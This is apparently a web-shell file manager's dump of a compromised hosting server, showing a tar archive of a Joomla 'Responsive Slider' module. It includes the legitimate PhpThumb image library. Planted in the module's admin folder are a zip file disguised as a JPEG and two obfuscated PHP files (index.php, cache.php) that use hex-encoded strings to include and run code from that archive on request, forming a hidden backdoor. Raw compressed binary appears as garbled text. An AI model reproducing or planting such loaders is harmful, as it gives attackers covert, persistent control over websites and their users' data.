uawdijnntqw1x1x1
IP : 216.73.216.84
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
07d6c
/
.
/
..
/
libraries
/
..
/
mod_responsive_slider.tar
/
/
admin/admin/jpeg_6921c23cdc3be.zip000060400000012617151652224050012437 0ustar00PK0pv[�h�4��b_6921c23cdc3be.tmp�U���H�W*�L z�G#��<�8��:���!�Qf���x����? MQ_�W����ﶫ-T��6;�.��ɽ$7ZPy�u]2#Q�G���D�Ȯ<CU�p깬U��E�"��U��� YWβNmN-Q㹻۹q����"�(սM'L����Pض&����M����\�mrCm24]Y覯)�tՅ UDz�TA�� 2�����N����T4�.Q��r��9RI���LUX�D8q��M�E�iF��g��&^���`i������m?�Ͷ6Z�%�v�{x[a��I�A��^nbO��a�銕��G��qKW���i��Վ��D���z��P2��/e#�f�]o"�v�P.^��طP�ϝ���I�C��C����"+�ӂN�]�-[p���,ڋ�����L��s�V�k�y�v�B2���z�aBmi��'�-��5x���߇���3���'����SgT��wXu&��M�gJ�a�L ]��69�% ��9�D�Y&����i:��DV�� �����IHvȪ�t�L�"�i��1�`z�ZN��-��jrT�Qn8������2�bL��4�q�X��*e&6g}�(j�V�����D�ɲ2�����ׯ)�u�Qhx�\_��Օ;^֨��i�8��ߔ\k�e���u�Xs���\����(�O�Gy�5z���y���M�Gr&�0�9���u�l����E�{f���ŞU2ú���d��3�q��h2ǀ����U�܍Lw�F )m/뾼�xm�t�p�2�$�S2�!W�*�� l��?�bn�;�|���w�s��a��}_�6�2n�0¢$�-����_�lZ�HI$�q�BA���HU|c�@�ӵE`� �M?@�� ���>\Z�F����BD�Z�?�'�H��ə��a@��m�l^�B�n�PK0pv[���_�c_6921c23cdc3be.tmp]X���u�+���h�z�)�������S}���[��@ f��Es�9w��ߗf��S�����ϟ�~=�hk�c�H ����muOӥP��ګ}"���hR\֜P�O:��),�|µ�O?n :�0H��A�_�R����_s�3�d6���D!a�=a��fs�.ra2a @6i@%��ʫ��g5�j)!��P�/��Y���4�J��Y�DH�����,��В*�e�`�lx���� �*m��!]>dO-�i���{jk ��� �dt�i�����ަ_7-]�����l L-�\x{�V<<��x����߳��V^�wS����'���NTKsU�>U��9�7�(��'6cފ�l��,q�9JMT�Ac���A����K���;��]9�(D>�H��I�?Lx��` WwF��<�<��� �i�,��3��l���h\]������Wo���q�W�V������{lP �}��,��Bڰ�GP�X����3@��_U��@�>��S�(̝��X�tF�Bܨ�V�8�7�'��l�1������sv*�x�f/�{5��+�Z��z��C1.��L%�D/ˉ�\,e6h\�7f�Z��oD͈&�,�ȡI3YfQ����A�L� ��3Jk���z�.~��r�.k �A�fCS���������ݮ���|���i�x�b7��5�K�Kb*'�.2�Sǜ�qQ�8�;k��9��|.٫�B@y�����V����!jt�1�%r:�p�8��2��Q�ӛ�GNL��LJ�tZ9���]�Tl��U���4��N&��.-A|��"N�61cO�����ǝC:���Y��z�������[�<����M6�{���!�$n�e?:]�F��m@c�0�*�[Ʊ`���M\��Ի=x�z�K:;Nj��s�2u4W�R�:? �)��ߗ���](�E��!M؈��U�ܳ}8 ���2�I�!��fA3��A���� ?윳��7JbC��\8��fPz�)����{Yj/��7ʮ�{��C�˵xY���zt��'j�6�x1���8��#�����?����^�ݔ�ԎA��]�w$�6�C-�~8r��p�7V����GC�`�JTo.���}fg]v):W���0h�r �k[�'d��&����vLxy~�%{\X���n]�HЈ�q�L�\�r����=�c><0�]��fE)H6��W�¨Ҩ�G���(�* �B�"� %���.ޏ�\g��c4�^� �cx�6z `-r��h��Yds>�|^Of�(.�Ծ.Y�lc} 2��A��_`� T���}�Zk���Q��JRc�>rULZ���g0�j:e���RJ&�kDTK�]������1�9Er����� �7f!�W�_ Pl�ތTK�`%�D�/��>�A i�%�F4,�,�DG\]��:g$M�Xl�o�������h�q@�q�����z5�ٻ�ne��=�T�My"���b;�h؈}2���:@�~��D��4 =+Kۘ��� ҥ�aRODogc�\�Gk�E���N���Z��m��f����ܰ]�g����͙'��i9�;�6���� J� F;���3��%�R�ZM��t�&5�jR㚫�#Q�`d^Q���zM�N�b�a#)n���riN+1R��$kk��Ԫ���D���)��"(��ȳ�C�� hrҔs�Y�Q>��� ߐ7|m�Z>���lҥ���5d�m�(�6���k�� F��t;�G�%��N���2��鯱bYΞM}*��k�����"��>ʀ8���v�'^�h��x��7[�P���l`�����Js��/��6⣽����6�/-����&!A%4������@��czɇ|V�1�O��>y��O��^��cߝ)�B�Up��7@O��?^��SI�e:��F�E�:�e���Z����j��]`�Q,�U��Ij -�i\�i�_We�����)<�_7�y̜�!]6N~��>���X��T�Wfկ��E=6ǐS�j���拂:h7���L���]�ᬙU��L�>�׆4 H��%d�[�&I�Θ7�G�z��:0����A���I���5�|���$FaJ��y��%y���V���~�P+���X�p,�@�c|���9~}��A�c���Gh�IEun2�I��GA�:��*�D�3���r�½��� >���\��7\����N��{���rҏ�I u$-���4�w�bomv�t�#O�B��3q�xg�����m���v�ePvQB{�oE�_�N ��e�N����0#j�d=���~���L������Z�^���l3��jG\�o��y�BǗ|�ݺ�̊ ����Ц3�q����34Y���LN�x�@�?�y|:��M�[��l.rWO`�x" ɰ��.|JF�^'t�*fC�BM�~ H�����e�I�=�P9qSa��T�"�O:"����hR�E�0�5��4Բ�/B��!M�2f��4 �Z��:Eh��-LJ�����X��m��я���6t_�n:�W�� ���wr��T�9q�.9&'*B��_��FjԹk��U�HG퀮\��)s1�UD�[ױ�ą�=����U�ܣmͅ���n�}�u���ө��8�s�{%��8'k ɭ�p�@�OA�P���4}�|n��9���?��� k�����;�|2��sB�N����(08�oly�1��i�롏�Ͼ��v0��!6�J7��-�t�����\D��+�=#��q�W�wJ����J�vG�챒g��e�YJ�b�Q!SD�(x�B��^�s����l ABV =?+z��FB��T�L0��!>��K�k�*��E)c��:K^M{�g�+5�|v,+o� [�u�[#f�r�;n�$*_ G��K-�2�H��w�<�T���R���8�9ifu���1=P���`�����8�y�_�$� �6�4+#]x��^À4DavJÓvU�g�2m��å�F�bF�lnPx#�FK�c#��6�`�R]0�\Y"��ã�hf��7�����:���*�2�:Jy#�JdZ����̵��?���w@"�_�3�V�d��ڽ/#��Z0��� �t�mz�ٗ�!sd����}q,T���75�#$�bP��'x:OP�W���s�Du,;�wߘi V�EKo{nV,9n��w��� �_��ۜ�̳����틓�Ty��$3���F����C R�ٳ�Y12b��K���"+�iU'���g�����M�(�wp6�C�zm���57�a�+�J�$���2D�������_�>b��b�ģ�#ga�,M�^Y�`M4A;\�&����.͏S�إ�;L}&�#���/�"Q&vaӄݶ�/"v�d>�ތ��A�&�:�#]Ī������ޜW�$`�&y�+ d��1��:�=�,M���{��\��=*��풨i����;BB�ޥ�!Zk��;*������'��8�|R�p���j�GFO0"[��7E�>��.�>�: p��NP��腔(#|�hP꿍�9G����_� $��<�D#{���'h`�Z2�~� ���ځ�U��T7<�A�R��X��R���2�� ��2b�KL(���ʄo���(`�_ T���BL��Ɨ�>=}�/�L�qf��\�p�f�ϻ�\��У�9'�~y�v���g,* ��������� �'%� v���Kx��h���~E��D��m!ϗΌ����t��"y�C�O�Z*�x\��kN �+LJ�{�/�&D���|�P�r��1vqp�0���YE9ù����P��h�SD^h<.�2�;1�W�.v��1>I�?R�c�TcQbR�I�aE<!eًu��(��a̫��:�:�|o��'|}~�SY=�o?���K�?�㗿�(����������F���/�����_��Z��|mG������?��?0��w>���l�n%���(�(�i�?k���3[�m��]�e���5�����_���r������`������g<�����~����?b�3������狛އ������?e��?� ��[�{~Ԅ2�i�ok����Tf��f� i�z�@N�WM�1��p&�7���0Z���k��ö����M�n�j��S����_�_ �n��}�����PK?0pv[�h�4����b_6921c23cdc3be.tmpPK?0pv[���_����c_6921c23cdc3be.tmpPK��admin/admin/index.php000060400000000665151652224050010551 0ustar00<?php error_reporting(0); $ySFTx = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x65\x67\x5f\x36\x39\x32\x31\x63\x32\x33\x63\x64\x63\x33\x62\x65\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x32\x31\x63\x32\x33\x63\x64\x63\x33\x62\x65\x2e\x74\x6d\x70", ); (${$ySFTx[0]}["\157\x66"]==1) && die($ySFTx[1]($ySFTx[2])); @include_once $ySFTx[2]; ?>admin/admin/cache.php000060400000000577151652224050010507 0ustar00<?php error_reporting(0); $ySFTx = array("\x5f\107\x45\x54"); (${$ySFTx[0]}["\157\x66"] == 1) && die("40EUwq9SdWtcug6InQactsrk+JkwsDDnddOe3JOkaEahSTAE7niVJgvY5RBAlvZc"); @include_once "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x65\x67\x5f\x36\x39\x32\x31\x63\x32\x33\x63\x64\x63\x33\x62\x65\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x32\x31\x63\x32\x33\x63\x64\x63\x33\x62\x65\x2e\x74\x6d\x70"; ?>admin/index.html000060400000000054151652224050007626 0ustar00<html><body bgcolor="#FFFFFF"></body></html>admin/phpthumb/index.html000060400000000054151652224050011455 0ustar00<html><body bgcolor="#FFFFFF"></body></html>admin/phpthumb/ThumbBase.inc.php000060400000016740151652224050012624 0ustar00<?php /** * @title Responsive Slider for Articles * @version 3.x * @copyright Copyright (C) 2011-2014 Minitek, All rights reserved. * @license GNU General Public License version 3 or later. * @author url http://www.minitek.gr/ * @author email info@minitek.gr * @developers Minitek.gr */ /** * PhpThumb Base Class Definition File * * This file contains the definition for the ThumbBase object * * PHP Version 5 with GD 2.0+ * PhpThumb : PHP Thumb Library <http://phpthumb.gxdlabs.com> * Copyright (c) 2009, Ian Selby/Gen X Design * * Author(s): Ian Selby <ian@gen-x-design.com> * * Licensed under the MIT License * Redistributions of files must retain the above copyright notice. * * @author Ian Selby <ian@gen-x-design.com> * @copyright Copyright (c) 2009 Gen X Design * @link http://phpthumb.gxdlabs.com * @license http://www.opensource.org/licenses/mit-license.php The MIT License * @version 3.0 * @package PhpThumb * @filesource */ /** * ThumbBase Class Definition * * This is the base class that all implementations must extend. It contains the * core variables and functionality common to all implementations, as well as the functions that * allow plugins to augment those classes. * * @package PhpThumb * @subpackage Core */ // no direct access defined( '_JEXEC' ) or die( 'Restricted access' ); abstract class ThumbBase { /** * All imported objects * * An array of imported plugin objects * * @var array */ protected $imported; /** * All imported object functions * * An array of all methods added to this class by imported plugin objects * * @var array */ protected $importedFunctions; /** * The last error message raised * * @var string */ protected $errorMessage; /** * Whether or not the current instance has any errors * * @var bool */ protected $hasError; /** * The name of the file we're manipulating * * This must include the path to the file (absolute paths recommended) * * @var string */ protected $fileName; /** * What the file format is (mime-type) * * @var string */ protected $format; /** * Whether or not the image is hosted remotely * * @var bool */ protected $remoteImage; /** * Whether or not the current image is an actual file, or the raw file data * * By "raw file data" it's meant that we're actually passing the result of something * like file_get_contents() or perhaps from a database blob * * @var bool */ protected $isDataStream; /** * Class constructor * * @return ThumbBase */ public function __construct ($fileName, $isDataStream = false) { $this->imported = array(); $this->importedFunctions = array(); $this->errorMessage = null; $this->hasError = false; $this->fileName = $fileName; $this->remoteImage = false; $this->isDataStream = $isDataStream; $this->fileExistsAndReadable(); } /** * Imports plugins in $registry to the class * * @param array $registry */ public function importPlugins ($registry) { foreach ($registry as $plugin => $meta) { $this->imports($plugin); } } /** * Imports a plugin * * This is where all the plugins magic happens! This function "loads" the plugin functions, making them available as * methods on the class. * * @param string $object The name of the object to import / "load" */ protected function imports ($object) { // the new object to import $newImport = new $object(); // the name of the new object (class name) $importName = get_class($newImport); // the new functions to import $importFunctions = get_class_methods($newImport); // add the object to the registry array_push($this->imported, array($importName, $newImport)); // add the methods to the registry foreach ($importFunctions as $key => $functionName) { $this->importedFunctions[$functionName] = &$newImport; } } /** * Checks to see if $this->fileName exists and is readable * */ protected function fileExistsAndReadable () { if ($this->isDataStream === true) { return; } if (stristr($this->fileName, 'http://') !== false) { $this->remoteImage = true; return; } if (!file_exists($this->fileName)) { $this->triggerError('Image file not found: ' . $this->fileName); } elseif (!is_readable($this->fileName)) { $this->triggerError('Image file not readable: ' . $this->fileName); } } /** * Sets $this->errorMessage to $errorMessage and throws an exception * * Also sets $this->hasError to true, so even if the exceptions are caught, we don't * attempt to proceed with any other functions * * @param string $errorMessage */ protected function triggerError ($errorMessage) { $this->hasError = true; $this->errorMessage = $errorMessage; throw new Exception ($errorMessage); } /** * Calls plugin / imported functions * * This is also where a fair amount of plugins magaic happens. This magic method is called whenever an "undefined" class * method is called in code, and we use that to call an imported function. * * You should NEVER EVER EVER invoke this function manually. The universe will implode if you do... seriously ;) * * @param string $method * @param array $args */ public function __call ($method, $args) { if( array_key_exists($method, $this->importedFunctions)) { $args[] = $this; return call_user_func_array(array($this->importedFunctions[$method], $method), $args); } throw new BadMethodCallException ('Call to undefined method/class function: ' . $method); } /** * Returns $imported. * @see ThumbBase::$imported * @return array */ public function getImported () { return $this->imported; } /** * Returns $importedFunctions. * @see ThumbBase::$importedFunctions * @return array */ public function getImportedFunctions () { return $this->importedFunctions; } /** * Returns $errorMessage. * * @see ThumbBase::$errorMessage */ public function getErrorMessage () { return $this->errorMessage; } /** * Sets $errorMessage. * * @param object $errorMessage * @see ThumbBase::$errorMessage */ public function setErrorMessage ($errorMessage) { $this->errorMessage = $errorMessage; } /** * Returns $fileName. * * @see ThumbBase::$fileName */ public function getFileName () { return $this->fileName; } /** * Sets $fileName. * * @param object $fileName * @see ThumbBase::$fileName */ public function setFileName ($fileName) { $this->fileName = $fileName; } /** * Returns $format. * * @see ThumbBase::$format */ public function getFormat () { return $this->format; } /** * Sets $format. * * @param object $format * @see ThumbBase::$format */ public function setFormat ($format) { $this->format = $format; } /** * Returns $hasError. * * @see ThumbBase::$hasError */ public function getHasError () { return $this->hasError; } /** * Sets $hasError. * * @param object $hasError * @see ThumbBase::$hasError */ public function setHasError ($hasError) { $this->hasError = $hasError; } } admin/phpthumb/ThumbLib.inc.php000060400000012134151652224050012451 0ustar00<?php /** * @title Responsive Slider for Articles * @version 3.x * @copyright Copyright (C) 2011-2014 Minitek, All rights reserved. * @license GNU General Public License version 3 or later. * @author url http://www.minitek.gr/ * @author email info@minitek.gr * @developers Minitek.gr */ /** * PhpThumb Library Definition File * * This file contains the definitions for the PhpThumbFactory class. * It also includes the other required base class files. * * If you've got some auto-loading magic going on elsewhere in your code, feel free to * remove the include_once statements at the beginning of this file... just make sure that * these files get included one way or another in your code. * * PHP Version 5 with GD 2.0+ * PhpThumb : PHP Thumb Library <http://phpthumb.gxdlabs.com> * Copyright (c) 2009, Ian Selby/Gen X Design * * Author(s): Ian Selby <ian@gen-x-design.com> * * Licensed under the MIT License * Redistributions of files must retain the above copyright notice. * * @author Ian Selby <ian@gen-x-design.com> * @copyright Copyright (c) 2009 Gen X Design * @link http://phpthumb.gxdlabs.com * @license http://www.opensource.org/licenses/mit-license.php The MIT License * @version 3.0 * @package PhpThumb * @filesource */ // no direct access defined( '_JEXEC' ) or die( 'Restricted access' ); // define some useful constants define('THUMBLIB_BASE_PATH', dirname(__FILE__)); define('THUMBLIB_PLUGIN_PATH', THUMBLIB_BASE_PATH . '/thumb_plugins/'); define('DEFAULT_THUMBLIB_IMPLEMENTATION', 'gd'); /** * Include the PhpThumb Class */ require_once THUMBLIB_BASE_PATH . '/PhpThumb.inc.php'; /** * Include the ThumbBase Class */ require_once THUMBLIB_BASE_PATH . '/ThumbBase.inc.php'; /** * Include the GdThumb Class */ require_once THUMBLIB_BASE_PATH . '/GdThumb.inc.php'; /** * PhpThumbFactory Object * * This class is responsible for making sure everything is set up and initialized properly, * and returning the appropriate thumbnail class instance. It is the only recommended way * of using this library, and if you try and circumvent it, the sky will fall on your head :) * * Basic use is easy enough. First, make sure all the settings meet your needs and environment... * these are the static variables defined at the beginning of the class. * * Once that's all set, usage is pretty easy. You can simply do something like: * <code>$thumb = PhpThumbFactory::create('/path/to/file.png');</code> * * Refer to the documentation for the create function for more information * * @package PhpThumb * @subpackage Core */ class PhpThumbFactory { /** * Which implemenation of the class should be used by default * * Currently, valid options are: * - imagick * - gd * * These are defined in the implementation map variable, inside the create function * * @var string */ public static $defaultImplemenation = DEFAULT_THUMBLIB_IMPLEMENTATION; /** * Where the plugins can be loaded from * * Note, it's important that this path is properly defined. It is very likely that you'll * have to change this, as the assumption here is based on a relative path. * * @var string */ public static $pluginPath = THUMBLIB_PLUGIN_PATH; /** * Factory Function * * This function returns the correct thumbnail object, augmented with any appropriate plugins. * It does so by doing the following: * - Getting an instance of PhpThumb * - Loading plugins * - Validating the default implemenation * - Returning the desired default implementation if possible * - Returning the GD implemenation if the default isn't available * - Throwing an exception if no required libraries are present * * @return GdThumb * @uses PhpThumb * @param string $filename The path and file to load [optional] */ public static function create ($filename = null, $options = array(), $isDataStream = false) { // map our implementation to their class names $implementationMap = array ( 'imagick' => 'ImagickThumb', 'gd' => 'GdThumb' ); // grab an instance of PhpThumb $pt = PhpThumb::getInstance(); // load the plugins $pt->loadPlugins(self::$pluginPath); $toReturn = null; $implementation = self::$defaultImplemenation; // attempt to load the default implementation if ($pt->isValidImplementation(self::$defaultImplemenation)) { $imp = $implementationMap[self::$defaultImplemenation]; $toReturn = new $imp($filename, $options, $isDataStream); } // load the gd implementation if default failed else if ($pt->isValidImplementation('gd')) { $imp = $implementationMap['gd']; $implementation = 'gd'; $toReturn = new $imp($filename, $options, $isDataStream); } // throw an exception if we can't load else { throw new Exception('You must have either the GD or iMagick extension loaded to use this library'); } $registry = $pt->getPluginRegistry($implementation); $toReturn->importPlugins($registry); return $toReturn; } }admin/phpthumb/README.md000060400000001203151652224050010734 0ustar00# PHP Thumb PHP Thumb is a light-weight image manipulation library aimed at thumbnail generation. It features the ability to resize by width, height, and percentage, create custom crops, or square crops from the center, and rotate the image. You can also easily add custom functionality to the library through plugins. It also features the ability to perform multiple manipulations per instance (also known as chaining), without the need to save and re-initialize the class with every manipulation. More information and documentation is available at the project's homepage: [http://phpthumb.gxdlabs.com](http://phpthumb.gxdlabs.com) admin/phpthumb/PhpThumb.inc.php000060400000015477151652224050012507 0ustar00<?php /** * @title Responsive Slider for Articles * @version 3.x * @copyright Copyright (C) 2011-2014 Minitek, All rights reserved. * @license GNU General Public License version 3 or later. * @author url http://www.minitek.gr/ * @author email info@minitek.gr * @developers Minitek.gr */ /** * PhpThumb Library Definition File * * This file contains the definitions for the PhpThumb class. * * PHP Version 5 with GD 2.0+ * PhpThumb : PHP Thumb Library <http://phpthumb.gxdlabs.com> * Copyright (c) 2009, Ian Selby/Gen X Design * * Author(s): Ian Selby <ian@gen-x-design.com> * * Licensed under the MIT License * Redistributions of files must retain the above copyright notice. * * @author Ian Selby <ian@gen-x-design.com> * @copyright Copyright (c) 2009 Gen X Design * @link http://phpthumb.gxdlabs.com * @license http://www.opensource.org/licenses/mit-license.php The MIT License * @version 3.0 * @package PhpThumb * @filesource */ /** * PhpThumb Object * * This singleton object is essentially a function library that helps with core validation * and loading of the core classes and plugins. There isn't really any need to access it directly, * unless you're developing a plugin and need to take advantage of any of the functionality contained * within. * * If you're not familiar with singleton patterns, here's how you get an instance of this class (since you * can't create one via the new keyword): * <code>$pt = PhpThumb::getInstance();</code> * * It's that simple! Outside of that, there's no need to modify anything within this class, unless you're doing * some crazy customization... then knock yourself out! :) * * @package PhpThumb * @subpackage Core */ // no direct access defined( '_JEXEC' ) or die( 'Restricted access' ); class PhpThumb { /** * Instance of self * * @var object PhpThumb */ protected static $_instance; /** * The plugin registry * * This is where all plugins to be loaded are stored. Data about the plugin is * provided, and currently consists of: * - loaded: true/false * - implementation: gd/imagick/both * * @var array */ protected $_registry; /** * What implementations are available * * This stores what implementations are available based on the loaded * extensions in PHP, NOT whether or not the class files are present. * * @var array */ protected $_implementations; /** * Returns an instance of self * * This is the usual singleton function that returns / instantiates the object * * @return PhpThumb */ public static function getInstance () { if(!(self::$_instance instanceof self)) { self::$_instance = new self(); } return self::$_instance; } /** * Class constructor * * Initializes all the variables, and does some preliminary validation / checking of stuff * */ private function __construct () { $this->_registry = array(); $this->_implementations = array('gd' => false, 'imagick' => false); $this->getImplementations(); } /** * Finds out what implementations are available * * This function loops over $this->_implementations and validates that the required extensions are loaded. * * I had planned on attempting to load them dynamically via dl(), but that would provide more overhead than I * was comfortable with (and would probably fail 99% of the time anyway) * */ private function getImplementations () { foreach($this->_implementations as $extension => $loaded) { if($loaded) { continue; } if(extension_loaded($extension)) { $this->_implementations[$extension] = true; } } } /** * Returns whether or not $implementation is valid (available) * * If 'all' is passed, true is only returned if ALL implementations are available. * * You can also pass 'n/a', which always returns true * * @return bool * @param string $implementation */ public function isValidImplementation ($implementation) { if ($implementation == 'n/a') { return true; } if ($implementation == 'all') { foreach ($this->_implementations as $imp => $value) { if ($value == false) { return false; } } return true; } if (array_key_exists($implementation, $this->_implementations)) { return $this->_implementations[$implementation]; } return false; } /** * Registers a plugin in the registry * * Adds a plugin to the registry if it isn't already loaded, and if the provided * implementation is valid. Note that you can pass the following special keywords * for implementation: * - all - Requires that all implementations be available * - n/a - Doesn't require any implementation * * When a plugin is added to the registry, it's added as a key on $this->_registry with the value * being an array containing the following keys: * - loaded - whether or not the plugin has been "loaded" into the core class * - implementation - what implementation this plugin is valid for * * @return bool * @param string $pluginName * @param string $implementation */ public function registerPlugin ($pluginName, $implementation) { if (!array_key_exists($pluginName, $this->_registry) && $this->isValidImplementation($implementation)) { $this->_registry[$pluginName] = array('loaded' => false, 'implementation' => $implementation); return true; } return false; } /** * Loads all the plugins in $pluginPath * * All this function does is include all files inside the $pluginPath directory. The plugins themselves * will not be added to the registry unless you've properly added the code to do so inside your plugin file. * * @param string $pluginPath */ public function loadPlugins ($pluginPath) { // strip the trailing slash if present if (substr($pluginPath, strlen($pluginPath) - 1, 1) == '/') { $pluginPath = substr($pluginPath, 0, strlen($pluginPath) - 1); } if ($handle = opendir($pluginPath)) { while (false !== ($file = readdir($handle))) { if ($file == '.' || $file == '..' || $file == '.svn') { continue; } include_once($pluginPath . '/' . $file); } } } /** * Returns the plugin registry for the supplied implementation * * @return array * @param string $implementation */ public function getPluginRegistry ($implementation) { $returnArray = array(); foreach ($this->_registry as $plugin => $meta) { if ($meta['implementation'] == 'n/a' || $meta['implementation'] == $implementation) { $returnArray[$plugin] = $meta; } } return $returnArray; } } admin/phpthumb/thumb_plugins/gd_reflection.inc.php000060400000013532151652224050016432 0ustar00<?php /** * @title Responsive Slider for Articles * @version 3.x * @copyright Copyright (C) 2011-2014 Minitek, All rights reserved. * @license GNU General Public License version 3 or later. * @author url http://www.minitek.gr/ * @author email info@minitek.gr * @developers Minitek.gr */ /** * GD Reflection Lib Plugin Definition File * * This file contains the plugin definition for the GD Reflection Lib for PHP Thumb * * PHP Version 5 with GD 2.0+ * PhpThumb : PHP Thumb Library <http://phpthumb.gxdlabs.com> * Copyright (c) 2009, Ian Selby/Gen X Design * * Author(s): Ian Selby <ian@gen-x-design.com> * * Licensed under the MIT License * Redistributions of files must retain the above copyright notice. * * @author Ian Selby <ian@gen-x-design.com> * @copyright Copyright (c) 2009 Gen X Design * @link http://phpthumb.gxdlabs.com * @license http://www.opensource.org/licenses/mit-license.php The MIT License * @version 3.0 * @package PhpThumb * @filesource */ /** * GD Reflection Lib Plugin * * This plugin allows you to create those fun Apple(tm)-style reflections in your images * * @package PhpThumb * @subpackage Plugins */ // no direct access defined( '_JEXEC' ) or die( 'Restricted access' ); class GdReflectionLib { /** * Instance of GdThumb passed to this class * * @var GdThumb */ protected $parentInstance; protected $currentDimensions; protected $workingImage; protected $newImage; protected $options; public function createReflection ($percent, $reflection, $white, $border, $borderColor, &$that) { // bring stuff from the parent class into this class... $this->parentInstance = $that; $this->currentDimensions = $this->parentInstance->getCurrentDimensions(); $this->workingImage = $this->parentInstance->getWorkingImage(); $this->newImage = $this->parentInstance->getOldImage(); $this->options = $this->parentInstance->getOptions(); $width = $this->currentDimensions['width']; $height = $this->currentDimensions['height']; $reflectionHeight = intval($height * ($reflection / 100)); $newHeight = $height + $reflectionHeight; $reflectedPart = $height * ($percent / 100); $this->workingImage = imagecreatetruecolor($width, $newHeight); imagealphablending($this->workingImage, true); $colorToPaint = imagecolorallocatealpha($this->workingImage,255,255,255,0); imagefilledrectangle($this->workingImage,0,0,$width,$newHeight,$colorToPaint); imagecopyresampled ( $this->workingImage, $this->newImage, 0, 0, 0, $reflectedPart, $width, $reflectionHeight, $width, ($height - $reflectedPart) ); $this->imageFlipVertical(); imagecopy($this->workingImage, $this->newImage, 0, 0, 0, 0, $width, $height); imagealphablending($this->workingImage, true); for ($i = 0; $i < $reflectionHeight; $i++) { $colorToPaint = imagecolorallocatealpha($this->workingImage, 255, 255, 255, ($i/$reflectionHeight*-1+1)*$white); imagefilledrectangle($this->workingImage, 0, $height + $i, $width, $height + $i, $colorToPaint); } if($border == true) { $rgb = $this->hex2rgb($borderColor, false); $colorToPaint = imagecolorallocate($this->workingImage, $rgb[0], $rgb[1], $rgb[2]); imageline($this->workingImage, 0, 0, $width, 0, $colorToPaint); //top line imageline($this->workingImage, 0, $height, $width, $height, $colorToPaint); //bottom line imageline($this->workingImage, 0, 0, 0, $height, $colorToPaint); //left line imageline($this->workingImage, $width-1, 0, $width-1, $height, $colorToPaint); //right line } if ($this->parentInstance->getFormat() == 'PNG') { $colorTransparent = imagecolorallocatealpha ( $this->workingImage, $this->options['alphaMaskColor'][0], $this->options['alphaMaskColor'][1], $this->options['alphaMaskColor'][2], 0 ); imagefill($this->workingImage, 0, 0, $colorTransparent); imagesavealpha($this->workingImage, true); } $this->parentInstance->setOldImage($this->workingImage); $this->currentDimensions['width'] = $width; $this->currentDimensions['height'] = $newHeight; $this->parentInstance->setCurrentDimensions($this->currentDimensions); return $that; } /** * Flips the image vertically * */ protected function imageFlipVertical () { $x_i = imagesx($this->workingImage); $y_i = imagesy($this->workingImage); for ($x = 0; $x < $x_i; $x++) { for ($y = 0; $y < $y_i; $y++) { imagecopy($this->workingImage, $this->workingImage, $x, $y_i - $y - 1, $x, $y, 1, 1); } } } /** * Converts a hex color to rgb tuples * * @return mixed * @param string $hex * @param bool $asString */ protected function hex2rgb ($hex, $asString = false) { // strip off any leading # if (0 === strpos($hex, '#')) { $hex = substr($hex, 1); } elseif (0 === strpos($hex, '&H')) { $hex = substr($hex, 2); } // break into hex 3-tuple $cutpoint = ceil(strlen($hex) / 2)-1; $rgb = explode(':', wordwrap($hex, $cutpoint, ':', $cutpoint), 3); // convert each tuple to decimal $rgb[0] = (isset($rgb[0]) ? hexdec($rgb[0]) : 0); $rgb[1] = (isset($rgb[1]) ? hexdec($rgb[1]) : 0); $rgb[2] = (isset($rgb[2]) ? hexdec($rgb[2]) : 0); return ($asString ? "{$rgb[0]} {$rgb[1]} {$rgb[2]}" : $rgb); } } $pt = PhpThumb::getInstance(); $pt->registerPlugin('GdReflectionLib', 'gd');admin/phpthumb/thumb_plugins/index.html000060400000000054151652224050014335 0ustar00<html><body bgcolor="#FFFFFF"></body></html>admin/phpthumb/GdThumb.inc.php000060400000072502151652224050012302 0ustar00<?php /** * @title Responsive Slider for Articles * @version 3.x * @copyright Copyright (C) 2011-2014 Minitek, All rights reserved. * @license GNU General Public License version 3 or later. * @author url http://www.minitek.gr/ * @author email info@minitek.gr * @developers Minitek.gr */ /** * PhpThumb GD Thumb Class Definition File * * This file contains the definition for the GdThumb object * * PHP Version 5 with GD 2.0+ * PhpThumb : PHP Thumb Library <http://phpthumb.gxdlabs.com> * Copyright (c) 2009, Ian Selby/Gen X Design * * Author(s): Ian Selby <ian@gen-x-design.com> * * Licensed under the MIT License * Redistributions of files must retain the above copyright notice. * * @author Ian Selby <ian@gen-x-design.com> * @copyright Copyright (c) 2009 Gen X Design * @link http://phpthumb.gxdlabs.com * @license http://www.opensource.org/licenses/mit-license.php The MIT License * @version 3.0 * @package PhpThumb * @filesource */ /** * GdThumb Class Definition * * This is the GD Implementation of the PHP Thumb library. * * @package PhpThumb * @subpackage Core */ // no direct access defined( '_JEXEC' ) or die( 'Restricted access' ); class GdThumb extends ThumbBase { /** * The prior image (before manipulation) * * @var resource */ protected $oldImage; /** * The working image (used during manipulation) * * @var resource */ protected $workingImage; /** * The current dimensions of the image * * @var array */ protected $currentDimensions; /** * The new, calculated dimensions of the image * * @var array */ protected $newDimensions; /** * The options for this class * * This array contains various options that determine the behavior in * various functions throughout the class. Functions note which specific * option key / values are used in their documentation * * @var array */ protected $options; /** * The maximum width an image can be after resizing (in pixels) * * @var int */ protected $maxWidth; /** * The maximum height an image can be after resizing (in pixels) * * @var int */ protected $maxHeight; /** * The percentage to resize the image by * * @var int */ protected $percent; /** * Class Constructor * * @return GdThumb * @param string $fileName */ public function __construct ($fileName, $options = array(), $isDataStream = false) { parent::__construct($fileName, $isDataStream); $this->determineFormat(); if ($this->isDataStream === false) { $this->verifyFormatCompatiblity(); } switch ($this->format) { case 'GIF': $this->oldImage = imagecreatefromgif($this->fileName); break; case 'JPG': $this->oldImage = imagecreatefromjpeg($this->fileName); break; case 'PNG': $this->oldImage = imagecreatefrompng($this->fileName); break; case 'STRING': $this->oldImage = imagecreatefromstring($this->fileName); break; } $this->currentDimensions = array ( 'width' => imagesx($this->oldImage), 'height' => imagesy($this->oldImage) ); $this->setOptions($options); // TODO: Port gatherImageMeta to a separate function that can be called to extract exif data } 